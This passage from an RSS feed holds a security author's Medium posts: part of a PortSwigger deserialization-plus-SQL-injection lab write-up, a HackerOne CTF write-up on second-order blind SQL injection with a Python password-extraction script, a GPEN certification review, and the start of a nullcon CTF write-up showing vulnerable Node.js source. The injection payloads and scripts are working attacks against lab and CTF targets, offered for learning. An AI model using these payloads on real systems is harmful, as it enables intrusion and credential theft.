serialized object with value of id as &#39; — single quote.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*_f1YNuSpTi5CTBSjLFrfAw.png" /></figure><p>Paste the generated base64 value in the session cookie and observe the error in response. We get a sql error in the response, indicating postgres as database name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GX88egp6lyDVwg5fYzhidw.png" /></figure><h4>Step — 4</h4><p><strong>exploiting sql injection</strong></p><p>I modified Main.java to directly call the GET /my-account from the class itself to avoid copy pasting the payload in burpsuite in the cookie every time, while we try to exploit sql injection. Modified Main.java file.</p><pre>import data.productcatalog.ProductTemplate;<br>import java.io.*;<br>import java.util.Base64;<br>import java.net.http.HttpClient;<br>import java.net.http.HttpRequest;<br>import java.net.http.HttpResponse;<br>import java.net.URI;</pre><pre>class Main {<br>    public static void main(String[] args) throws Exception {<br>        ProductTemplate originalObject = new ProductTemplate(args[0]);</pre><pre>String serializedObject = serialize(originalObject);</pre><pre>System.out.println(&quot;Serialized object: &quot; + serializedObject);</pre><pre>ProductTemplate deserializedObject = deserialize(serializedObject);</pre><pre>System.out.println(&quot;Deserialized object ID: &quot; + deserializedObject.getId());<br>  <br> <strong> HttpClient client = HttpClient.newHttpClient();<br>  <br>  HttpRequest request = HttpRequest.newBuilder().uri(URI.create(&quot;</strong><a href="https://acf01fdc1f53ee6a818f73cf0000005d.web-security-academy.net/my-account"><strong>https://acf01fdc1f53ee6a818f73cf0000005d.web-security-academy.net/my-account</strong></a><strong>&quot;)).headers(&quot;Cookie&quot;, &quot;session=&quot;+serializedObject).build();<br>    <br>  HttpResponse&lt;String&gt; response = client.send(request, HttpResponse.BodyHandlers.ofString());<br>  <br>  System.out.println(&quot;\n Body: &quot; + response.body());</strong><br>    }</pre><pre>private static String serialize(Serializable obj) throws Exception {<br>        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);<br>        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {<br>            out.writeObject(obj);<br>        }<br>        return Base64.getEncoder().encodeToString(baos.toByteArray());<br>    }</pre><pre>private static &lt;T&gt; T deserialize(String base64SerializedObj) throws Exception {<br>        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {<br>            <a href="http://twitter.com/SuppressWarnings">@SuppressWarnings</a>(&quot;unchecked&quot;)<br>            T obj = (T) in.readObject();<br>            return obj;<br>        }<br>    }<br>}</pre><p>While creating payload we have to realize that a syntactically correct query will not reflect details in the response, instead we will get a class cast exception. So sql exception is the first one and class cast exception in the next exception. E.g. when we use id as 123 response will be</p><pre>&lt;p class=is-warning&gt;java.lang.ClassCastException: class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader &amp;apos;app&amp;apos;)&lt;/p&gt;</pre><p>But if our query is not correct then it won’t execute and we won’t be able to enumerate database table and data inside it. We will cast a column with string value into an integer in the sql query, for it to produce error and reflect the value ( column value ) in the response.</p><p><strong>Number of columns</strong></p><p>But first, we will use union query to first find out the number of columns in the products table. Use the union payload &quot;&#39; UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.tables --&quot;increasing the number of NULL to find the number of columns, which will come out to be 8.</p><p><strong>Finding out table name</strong></p><p>Payload — java Main &quot;&#39; UNION SELECT NULL,NULL,NULL,NULL,CAST(table_name AS numeric),null,null,null from information_schema.tables -- &quot;</p><p>Error in the response &lt;p class=is-warning&gt;org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &amp;quot;<strong>users</strong>&amp;quot;&lt;/p&gt; revealing table name as users</p><p><strong>Column name</strong></p><p>payload1 — &#39; UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = &#39;users&#39; --</p><p>Error in response1 — &lt;p class=is-warning&gt;org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &amp;quot;<strong>username</strong>&amp;quot;&lt;/p&gt;</p><p>payload2 — &#39;UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = &#39;users&#39; and column_name !=&#39;username&#39;--</p><p>Error in response2 — &lt;p class=is-warning&gt;org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &amp;quot;<strong>password</strong>&amp;quot;&lt;/p&gt;</p><p>now that we know the table name and column names we can extract the password of the user administrator.</p><p><strong>Extracting administrator password</strong></p><p>payload — &#39;UNION SELECT NULL,NULL,NULL,NULL,CAST(password AS numeric),null,null,null from users where username=&#39;administrator&#39; --</p><p>error in response — &lt;p class=is-warning&gt;org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &amp;quot;<strong>qb4qfsrkyddqmyka0uz6</strong>&amp;quot;&lt;/p&gt;</p><p>We got the administrator password in response ( this is different for different instance) .</p><p>Now we can login as administrator and delete the carlos account to solve the lab.</p><p>I will try to create an exploit script to automate the password retrieval part, instead of trying out manual sql injection payload.</p><p>That’s all for now. Please comment if I made any mistake and you can always reach out to me <a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/</a> and say hi.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d1b7339ca" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca">Insecure Deserialization — Web Challenges — Part 1</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting second order blind SQL injection]]></title>
            <link>https://infosecwriteups.com/exploiting-second-order-blind-sql-injection-689e98f04daa?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/689e98f04daa</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Sat, 09 Jan 2021 04:59:20 GMT</pubDate>
            <atom:updated>2021-01-10T15:43:12.375Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting second-order blind SQL injection</h3><p>Recently HackerOne organized an online CTF called 12 days of hacky holiday CTF.</p><p><a href="https://www.hackerone.com/blog/12-days-hacky-holidays-ctf">12 Days of Hacky Holidays CTF</a></p><p>There was a total of 12 flags to be captured and for each flag, HackerOne gave a private program invitation on their platform.</p><p><a href="https://hackyholidays.h1ctf.com/apps">Grinch Network Apps</a></p><p>There was one particular challenge called evil quiz which was vulnerable to second-order SQL injection. In this article, I will provide details about the solution and my approach to solving it.</p><h4>Details of the challenge</h4><p>The home page of the challenge had a form that takes a name as an input parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4fAvtSgu54bj1LohZE-dg.png" /></figure><p>On submitting this form, the application redirects to the /evil-quiz URL with the Quiz tab selected and sets a random md5 value as a session cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9XEcMYNylGISHZC4gNfbkA.png" /></figure><p>The quiz tab has 4 quizzes with radio button, on submitting the quiz page redirects to /score URL with the score of the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wO3Yk7jwXf_aqDUSHyFN3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mt_Hy3_qa2WyONn9vL6QeQ.png" /><figcaption>Score page</figcaption></figure><p>There is also an admin login page. The main challenge here is to go past this admin login page and access the admin quiz page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5RAoRnaWL2HLlQLO0MTwEQ.png" /><figcaption>Admin Login Page</figcaption></figure><h4>Things I tried which didn’t work</h4><ol><li>Used wfuzz to fuzz the directory <a href="https://hackyholidays.h1ctf.com/evil-quiz/admin">https://hackyholidays.h1ctf.com/evil-quiz/</a> and <a href="https://hackyholidays.h1ctf.com/evil-quiz/admin">https://hackyholidays.h1ctf.com/evil-quiz/admin</a></li><li>Brute forced admin page with hydra [even though I was getting a message <em>Username/Password Combination is invalid</em> on failed login, which does not suggest creds can be brute forced]</li><li>Tried sql injection in the username and password parameter in the admin login page</li></ol><h4>SQL Injection ( Second-order and blind )</h4><p>Burp Academy has a very good article to explain blind SQL injection.</p><p><a href="https://portswigger.net/web-security/sql-injection/blind">What is Blind SQL Injection? Tutorial &amp; Examples | Web Security Academy</a></p><p>Second-order SQL injection does not return the result of injection immediately but the injected payload gets executed with some other request when that data was used in the SQL query. Blind + 2nd order = 2nd order blind SQL injection.</p><h4>Identifying the SQL injection</h4><p>Name parameter on the quiz page was vulnerable to blind SQL injection, but the result of this SQL injection was reflected on the score page when the score was retrieved for the user. With a name as a test, score page response was <em>There is 58 other player(s) with the same name as you!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZMSNZB-8JLOtF0DcDi4fQ.png" /></figure><p>Putting the SQL injection payload in the name parameter test’ or 1=1 # returns complete count ( 1218059 ) of record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dNmvInOHQvycJDJINmjfmA.png" /></figure><p>By looking at the response code at the backend can be assumed to be</p><pre>select count(*) from table_name where name=+$_GET(&#39;name&#39;) </pre><p>for PHP application. Now here even if the name parameter is vulnerable to SQL injection we are only getting the count not the value from the database, that’s why blind. Since the result of SQL injection is not coming in the same request-response cycle instead its getting executed when a separate /score request is triggered it’s 2nd order.</p><p>How to proceed from here:</p><ol><li>Find out the different table length and name ( obvious names would be a quiz, users, admin, score etc. since its a CTF )</li><li>Find columns names in the table and their value</li><li>The end goal would be to find the username and the password to login into the admin area</li></ol><h4>Finding out table and column names</h4><p>Manually doing this would be difficult cause we have to enumerate different characters based on Boolean ( true or false ) conditions. So I decided to write a quick python script that will somehow ease the pain. Here is the python script that I quickly wrote. ( Nothing special, just sending some request and looping on the response)</p><p><a href="https://github.com/nirajchoubey12/hacking-resources/blob/master/seconond-order-blind-sql-injection.py">nirajchoubey12/hacking-resources</a></p><p>As a first step, I tried to enumerate how many tables are there using the information_schema and case statement. I used the below query as payload to find out the number of tables</p><pre>&#39; and (SELECT (CASE WHEN (SELECT count(table_name) FROM information_schema.tables )= 4 then 1 else 0 end)) =1 #</pre><p>Let’s break the above payload,</p><ol><li><em>SELECT count(table_name) FROM information_schema.tables</em> — will get the count of all the tables in information_schema.</li><li><em>CASE WHEN (output from no 1, suppose its 3)= 4 then 1 else 0 ends) —</em> output of the query in point 1 i.e<em>. </em>3 will be compared to 4, since it will be the false output of the case statement will be 0, or in case the output of the select statement is 4 then the case statement will return 1.</li><li><em>‘ and (SELECT (output of no 2 above either 1 or 0 )) =1 # — </em>final select statement . Based on the true or false output of the statement we will be able to find out the number of tables in the schema.</li></ol><p>By putting the above query into the script, found that there are a total of 81 tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mF_JXdfxNUgPFChG9Nb1tw.png" /></figure><p>It&#39;s practically difficult to enumerate all the tables, so going by the assumption that there will be a table with the name quiz and admin. I verified that using the below query</p><pre>&#39; and (SELECT (CASE WHEN EXISTS(SELECT table_name FROM information_schema.tables where length(table_name) = 5 and table_name = &#39;admin&#39;) THEN 1 ELSE 0 END)) = 1 #</pre><p>Similarly, column count and column names can be enumerated, but looking at the login request I assumed the admin table will have 3 columns id, username, and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*HgI2JaF2QqoMqBdjPzSazA.png" /></figure><h4>Finding the admin password</h4><p>Column names can be confirmed with the query</p><pre>&#39; and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin ) THEN 1 ELSE 0 END)) =1 #</pre><p>I also checked how many rows are there in the admin table. which turned out to be 1. So have to find out the password form the user ‘admin’ ( again a guess, can be again confirmed using the query</p><pre>&#39; and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin WHERE username = &#39;admin&#39;) THEN 1 ELSE 0 END)) =1 #</pre><p>Now we need to find out the length of the password.</p><pre>&#39; and (SELECT (CASE WHEN EXISTS(SELECT password FROM admin WHERE username = &#39;admin&#39; and length(password) = 17 ) THEN 1 ELSE 0 END)) =1 #</pre><p>The length of the password for admin turned out to be 17.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FF_gNW7tpfm-z96LkCYb4A.png" /></figure><p>Now let&#39;s find the password for admin, modify the script to enumerate the password</p><pre>import requests,time,re</pre><pre>charlists= [&#39;0&#39;,&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;,&#39;5&#39;,&#39;6&#39;,&#39;7&#39;,&#39;8&#39;,&#39;9&#39;,&#39;0&#39;,&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;, &#39;i&#39;, &#39;j&#39;, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39;, &#39;o&#39;, &#39;p&#39;, &#39;q&#39;, &#39;r&#39;, &#39;s&#39;, &#39;t&#39;, &#39;u&#39;, &#39;v&#39;, &#39;w&#39;, &#39;x&#39;, &#39;y&#39;, &#39;z&#39;, &#39;A&#39;,&#39;B&#39;,&#39;C&#39;,&#39;D&#39;,&#39;E&#39;,&#39;F&#39;,&#39;G&#39;,&#39;H&#39;,&#39;I&#39;,&#39;J&#39;,&#39;K&#39;,&#39;L&#39;,&#39;M&#39;,&#39;N&#39;,&#39;O&#39;,&#39;P&#39;,&#39;Q&#39;,&#39;R&#39;,&#39;S&#39;,&#39;T&#39;,&#39;U&#39;,&#39;V&#39;,&#39;W&#39;,&#39;X&#39;,&#39;Y&#39;,&#39;Z&#39;,&#39;_&#39;,&#39;{&#39;,&#39;}&#39;,&#39;-&#39;,&#39;$&#39;,&#39;!&#39;,&#39;@&#39;,&#39;#&#39;]</pre><pre>URL = &quot;https://hackyholidays.h1ctf.com/evil-quiz/&quot;<br>password = &quot;&quot;<br>headers = {&#39;Cookie&#39;: &#39;session=49760dc697484323f6057689d396b3f8&#39;}<br>data = {&#39;name&#39; : &#39;test&#39;}</pre><pre>r = requests.post(url = URL , data = data, headers = headers)<br>for i in range(1,18):<br>   for x in charlists:<br>      data = {&#39;name&#39;: &#39;\&#39; and (SELECT (CASE WHEN EXISTS(SELECT username FROM admin where username = \&#39;admin\&#39; and BINARY substring(password,&#39;+str(i)+&#39;,1) = \&#39;&#39; + str(x) + &#39;\&#39;)  then 1 else 0 end)) = 1 # &#39;} <br>      r = requests.post(url = URL, data = data, headers = headers)</pre><pre>out = requests.get(url = URL + &quot;score&quot;, headers = headers)<br>      result = re.search(&#39;There is (.*) other player&#39;,out.text)<br>      if int(result.group(1)) &gt; 0:<br>          password += str(x)<br>          print(&quot;Give me password plaease ::-&gt; &quot; + password)<br>          break<br>      else:<br>          pass</pre><p>So the above script is trying to find out each character in the password one by one using the substring function. For every character in the password, we will iterate over each character in the <em>charlists.</em><strong><em> [note the use of regex to separate out valid entries] </em></strong>Using the above script I found the password to be s3cret_p4ssw0rd-$. However, that was incorrect, because substring() comparison is case insensitive. So included a BINARY keyword before substring() to do a case-sensitive comparison. So finally got the password to be S3creT_p4ssw0rd-$.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*Cwdun5VoIA3o2okvfd9hJg.png" /></figure><p>Using the creds admin/S3creT_p4ssw0rd-$ login to the admin area and got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0IMuMRIO2fJKi00MuHKcA.png" /></figure><p>Thanks for reading. Do ask in comments if you have any questions and also provide feedback. I am always ready to discuss and learn from anyone. Reach out to me on LinkedIn or Twitter ( <a href="http://twitter.com/NirajRm7">@NirajRm7</a>) and say hi.</p><p><a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">niraj kumar choubey - Lead Cyber Security - Fidelity Investments | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=689e98f04daa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/exploiting-second-order-blind-sql-injection-689e98f04daa">Exploiting second order blind SQL injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My 2 cents on SANS GPEN]]></title>
            <link>https://nir-choubey-2011.medium.com/my-2-cents-on-sans-gpen-7c6976aa27ec?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c6976aa27ec</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[certification]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Sun, 06 Dec 2020 06:14:09 GMT</pubDate>
            <atom:updated>2020-12-06T06:18:22.043Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Disclaimer</em>: <em>This certification was sponsored for me.</em></p><p>Recently I attempted SANS GPEN and passed with flying colors. Got 92% to be exact. So thought of sharing my experience for common good. This blog will contain</p><ol><li>Details about the cert</li><li>SANS GPEN vs Offsec OSCP</li><li>Who should take a plunge</li><li>How to get qualifying marks</li></ol><h4>About the Cert</h4><p>Most important details you should care about is, its costly. It costs around $7k including 6 day virtual online training. Additional certificate attempt will cost you $1999.</p><p>GPEN training course is named as SEC560. Once you register for the course which include training you will get a mail link to download the course material which will be password protected. You will also get those material posted to your physical address.</p><figure><img alt="Course materials in papar format" src="https://cdn-images-1.medium.com/max/960/1*59QXKaS6L9H4pl4YT_icuw.jpeg" /><figcaption>Course material received</figcaption></figure><p>Above pic would tell you how the course is divided. These 6 booklets corresponds to 6 days of virtual training that also include a CTF at the end among the participating folks. Winner will also get an exclusive hacker coin by GIAC. This CTF reminded of me the rush I used to have while solving OSCP boxes.</p><p>Overall training is divided into 6 modules</p><ol><li>Pentest planning, scoping , recon</li><li>Scanning</li><li>Exploitation</li><li>Password attack and pivoting</li><li>Domain enumeration and attack</li><li>Web application security and CTF</li></ol><p>First day of training ( mostly theoretical ) will be bit boring if you are already into the pentesting. But for the starters this builds a solid background for the coming days of training which has good contents like scanning and exploitation. Content is pretty good, you will find lots of good tricks and tips on powershell, Nmap, Netcat. Bonus is a good coverage of commands using cmd for pivoting across the window domain.</p><p>In password attack module you will get to know basic tools like john the ripper, hashcat etc. Content on pivoting and domain enumeration &amp; attack is pretty good. However if you are expecting to learn web pentesting with this course, then forget it. That’s because GIAC has a different course for advance web pentesting. So the content for web pentesting is very basic, only basic details like proxy tools and some basic vulnerabilities like xss, sqlinjection etc. are covered. Again good for starters. More details on the syllabus is here</p><p><a href="https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/#__utma=183869984.1624961255.1602204920.1604457881.1607229139.11&amp;__utmb=183869984.13.9.1607229390292&amp;__utmc=183869984&amp;__utmx=-&amp;__utmz=183869984.1607229139.11.9.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)&amp;__utmv=-&amp;__utmk=141442994">Network Penetration Testing Training | Ethical Hacking | SANS SEC560</a></p><p>With training you will get two VMs as well, one windows and one Linux. Along with training you will be given different exercises to practice on the VMs, these will have step by step instructions to complete the exercise. These VMs need to be connected to a separate vpn to do some of the exercises. Details of the vpn can be downloaded again from giac site. Each day recording will be available to view at a later point of time and will be available for viewing for 4 months from the date of training end.</p><p>After the end of the training, you will get 4 month to appear for the exam before you exam attempt expire. You will also get two practice attempts, which can be passed on to someone else if you think you don’t need them 😉 Your vpn connection will stop working after your training end. However if you have purchased the on demand training, you can have an active vpn connection to practice all the labs. ( I don’t think its a wise investment, given the pattern of exam, only 5 questions are lab based).</p><h4>GPEN vs OSCP my perspective</h4><p>Most of you already know this, but for continuity of the article 😃. I did OSCP in 2019 just to write this comparison.</p><ol><li>Cost : $7K GPEN vs $1.5k OCSP ( These are not exact, cause the keep on changing )</li><li>Effort to pass : Obvious winner is OSCP</li><li>Learning : with honest effort, again OSCP is the winner</li><li>Proctored : both</li><li>Content : Quality of the content is same for both</li><li>Difficulty of exam : OSCP</li><li>Absolute beginner friendly : GPEN. Don’t curse me please</li></ol><p>If you guys think this comparison is not complete, then let me know in comment. I will oblige.</p><h4>Who should attempt the cert</h4><p>Rich , beginner, or sponsored candidate</p><h4>How to get qualifying marks</h4><p>GPEN exam is open book. You can use all the physical books that you want during the exam, however digital materials are not allowed.</p><ul><li>3 hours exam</li><li>82 question ( 75 objective &amp; 7 lab based )</li><li>75% passing score</li><li>Its proctored</li></ul><p>More details how to prepare here <a href="https://www.giac.org/exams/preparation">https://www.giac.org/exams/preparation</a></p><p>GIAC recommends to read <a href="https://tisiphone.net/2015/08/18/giac-testing/">https://tisiphone.net/2015/08/18/giac-testing/</a> for exam preparation. I will do the same. However, if you are an experienced pentesters and specially if you are OSCP then you don’t need to sweat that much. Only caveat is, syllabus is very large and you can be asked about a flag in powershell command. So be careful there.</p><p>Only technique required apart from reading whole study material and practicing the labs is proper indexing. Above link ( recommendation by giac ) will also teach you about indexing. Below is the snap of the note I created. <strong>If any one requests, I can share it ( My GPEN Notes )individually</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOYKNdvXSFL7VdpPIxmcyQ.png" /><figcaption>Snap of the notes I created</figcaption></figure><p>With some reading and attempting the practice exam sincerely you will remember where to look for the topic in your notes. Remember to not make you indexing notes more than 10 pages. Sometimes its easier to arrange the whole thing in alphabetical order. Its individual perspective.</p><p>Finally</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHGuwJUyMR960Rw35xVJjg.jpeg" /><figcaption>😆</figcaption></figure><p>Let me know if you guys need any more information, otherwise you can clap your heart out and follow me for future articles. ( Hopefully!! working on my consistency)</p><p>Say hi to me on LinkedIn.</p><p><a href="https://www.linkedin.com/in/niraj-kumar-choubey-7351b892/">niraj kumar choubey - Lead Cyber Security - Fidelity Investments | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c6976aa27ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Split second writeup nullcon/hackim ctf 2020]]></title>
            <link>https://nir-choubey-2011.medium.com/split-second-writeup-nullcon-hackim-ctf-2020-96426070cb72?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/96426070cb72</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Thu, 12 Mar 2020 08:40:18 GMT</pubDate>
            <atom:updated>2020-03-12T08:40:18.325Z</atom:updated>
            <content:encoded><![CDATA[<p>I took part in hackim ctf 2020 organised by nullcon. This writeup will be for one specific web challenge i.e split second. (Note: I could not solve this, even then i am writing this just to learn and probably help someone learn)Nullcon team did published the whole ctf source code on github. You can find the hackim-2020 ctf resources here.</p><p><a href="https://github.com/nullcon/hackim-2020">nullcon/hackim-2020</a></p><p>There are more writeups on <a href="https://ctftime.org/task/10417">https://ctftime.org/task/10417</a> for this particular challenge. I will walking you step by step from hosting the challenge on AWS ec2 to solving it. You can skip directly to CTF solving part if hosting is trivial to you.</p><p><strong>Disclaimer</strong>:</p><p>I am a beginner in the CTF field. I would like anyone reading this to point out any mistake they can find and allow me to correct it.</p><h4>Hosting the challenge on EC2</h4><p>This is pretty simple. Just follow below step and you will be done:</p><ol><li>Create an AWS account</li><li>launch an EC2 instance with default security groups. Amazon Machine Image (AMI) that i use was ubuntu. You can use any AMI as long as it is free and finally add a EBS root volume.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7z0F0Ysj2rESbuj3t--cZQ.png" /><figcaption>A basic free tier ec2 config that i used</figcaption></figure><p>3. If you are new to aws follow this simple tutorial ( there are a lot ) to launch your ec2 instance <a href="https://www.guru99.com/creating-amazon-ec2-instance.html">https://www.guru99.com/creating-amazon-ec2-instance.html</a></p><p>4. ssh to the ec2 instance using the key pair generated while creating the ec2 instance. Remember to set the permission of the ec2 keys to set to 400 i.e. read only by you</p><p>4. clone the repository for the web challenge ( <a href="https://github.com/nirajchoubey12/hackim2020-split-second.git">https://github.com/nirajchoubey12/hackim2020-split-second.git</a> ) into ec2 instance. You can also clone it from the nullcon 2020 github page ( if you think an unverified github repo can be malicious ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdZRwq7Fk0W2e9UKVIriFw.png" /></figure><p>5. Install docker. If you are using an ubuntu machine you can follow commands from <a href="https://docs.docker.com/install/linux/docker-ce/ubuntu/">https://docs.docker.com/install/linux/docker-ce/ubuntu/</a> or else you can follow commands specific to the OS that you are using</p><p>6. Install docker compose using below two command. ( <a href="https://docs.docker.com/compose/install/">https://docs.docker.com/compose/install/</a>)</p><pre>sudo curl -L &quot;https://github.com/docker/compose/releases/download/1.25.4/docker-compose-$(uname -s)-$(uname -m)&quot; -o /usr/local/bin/docker-compose</pre><pre>sudo chmod +x /usr/local/bin/docker-compose</pre><p>7. Open start.sh using vim or any text editor and add sudo before each line. This is to avoid extra docker configuration</p><p>sudo docker-compose build<br>sudo docker-compose up</p><p>8. Now run start.sh (chmod +x start.sh; ./start.sh)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*1dP7YWzEHEM3QQ_Mvm7Yqw.png" /></figure><p>9. One last thing that we need to do is to configure the security group attached to the ec2 instance. Go to the running EC2 instance and click on the link under the security group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEfX9ZVLzfD7a6qdk2Dbrw.png" /></figure><p>10. Configure the inbound rule of the security group to allow traffic on port 8081</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wR_RVkpbqXXUxWamZSA5yw.png" /><figcaption>Inbound rule for the security group attached to ec2 instance</figcaption></figure><p>Our ctf challenge is up and running and we are ready to rock and roll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdtB6OKLbG6mFdDBOULXHg.png" /></figure><h4>Solving CTF challenge</h4><p>This will involve few steps:</p><ol><li>Understanding the problem</li><li>Creating the payload</li><li>Getting the flag</li></ol><p><strong>Understanding the problem</strong></p><p>Let’s start with the source code. Press ctrl+u to get the source page of the challenge web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNJHfly5hx7LeQI5S_qpmg.png" /></figure><p>As we can see we have a hint in the form of a commented out code ( /source ). Going to the /source endpoint reveals what seems to be a source code of the internal files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h10HLpVURRTWL0H8kVv2XQ.png" /></figure><p>Lets view this in source by pressing ctrl+u to get a better sense.</p><pre><strong>//node 8.12.0</strong><br>var express = require(&#39;express&#39;);<br>var app = express();<br>var fs = require(&#39;fs&#39;);<br>var path = require(&#39;path&#39;);<br>var http = require(&#39;http&#39;);<br>var pug = require(&#39;pug&#39;);<br><br>app.get(&#39;/&#39;, function(req, res) {<br>    res.sendFile(path.join(__dirname + &#39;/index.html&#39;));<br>});<br><br>app.get(&#39;/source&#39;, function(req, res) {<br>    res.sendFile(path.join(__dirname + &#39;/source.html&#39;));<br>});<br><br><br>app.get(&#39;/getMeme&#39;,function(req,res){<br>   res.send(&#39;&lt;iframe src=&quot;https://giphy.com/embed/LLHkw7UnvY3Kw&quot; width=&quot;480&quot; height=&quot;480&quot; frameBorder=&quot;0&quot; class=&quot;giphy-embed&quot; allowFullScreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href=&quot;https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw&quot;&gt;via GIPHY&lt;/a&gt;&lt;/p&gt;&#39;)<br><br>});<br><br><br><strong>app.get(&#39;/flag&#39;, function(req, res) {<br>    var ip = req.connection.remoteAddress;<br>    console.log(ip);<br>    if (ip.includes(&#39;127.0.0.1&#39;)) {<br>        var authheader = req.headers[&#39;adminauth&#39;];<br>        var pug2 = decodeURI(req.headers[&#39;pug&#39;]);<br>        var x=pug2.match(/[a-z]/g);<br>        if(!x){<br>         if (authheader === &quot;secretpassword&quot;) {<br>            var html = pug.render(pug2);<br>         }<br>        }<br>       else{<br>        res.send(&quot;No characters&quot;);<br>      }<br>    }<br>    else{<br>     res.send(&quot;You need to come from localhost&quot;);<br>    }<br>});<br></strong><br>app.get(&#39;/core&#39;, function(req, res) {<br>    var q = req.query.q;<br>    var resp = &quot;&quot;;<br>    if (q) {<br>        var url = &#39;http://localhost:8081/getMeme?&#39; + q<br>        console.log(url)<br>        var trigger = blacklist(url);<br>        if (trigger === true) {<br>            res.send(&quot;&lt;p&gt;Errrrr, You have been Blocked&lt;/p&gt;&quot;);<br>        } else {<br>            try {<br>                http.get(url, function(resp) {<br>                    resp.setEncoding(&#39;utf8&#39;);<br>                    resp.on(&#39;error&#39;, 